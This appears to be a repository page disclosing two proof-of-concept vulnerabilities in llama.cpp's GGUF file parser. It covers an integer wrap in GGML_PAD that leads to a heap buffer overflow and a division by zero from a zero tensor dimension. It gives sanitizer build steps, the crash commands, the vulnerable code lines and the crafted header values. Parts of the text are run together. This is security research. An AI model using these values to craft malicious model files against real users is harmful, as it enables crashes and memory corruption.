Views
No views yet
WARNING: This repository contains proof-of-concept files for security vulnerabilities in the GGUF file parser. The files are benign (tiny, 128 bytes each) but may crash applications that load them.
ggml_nbytes to return a value near SIZE_MAX. The GGML_PAD macro wraps this to 0, bypassing overflow guards and leading to heap buffer overflow.ne[j] == 0. The subsequent overflow check divides by ne[1], causing INT64_MAX / 0 and an immediate crash.| File | Description | Size |
|---|---|---|
| crash_pad_overflow.gguf | PoC for GGML_PAD integer wrap (Vuln 1) | 128 bytes |
| crash_div_zero.gguf | PoC for division by zero crash (Vuln 2) | 128 bytes |
| generate_poc.py | Script that generates the PoC files | ~3 KB |
| verify_structure.py | Script to parse and verify PoC file structure | ~2 KB |
1git clone https://github.com/ggerganov/llama.cpp
2cd llama.cpp && mkdir build && cd build
3cmake -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address" ..
4make gguf1./bin/gguf crash_pad_overflow.gguf
2# Expected: ASAN heap-buffer-overflow report1./bin/gguf crash_div_zero.gguf
2# Expected: SIGFPE (Floating point exception) - process crashggml/src/gguf.cpp, line 724ne[0] = 4611686018427387903 (F32 type)ggml_nbytes returns SIZE_MAX - 3GGML_PAD(SIZE_MAX - 3, 32) = ((SIZE_MAX - 3) + 31) & ~31 = 27 & ~31 = 0padded_size = 0 bypasses overflow guard!no_alloc pathggml/src/gguf.cpp, line 632ne[1] = 0ne[j] < 0 (allows zero!)INT64_MAX / info.t.ne[1] = INT64_MAX / 0 -> SIGFPE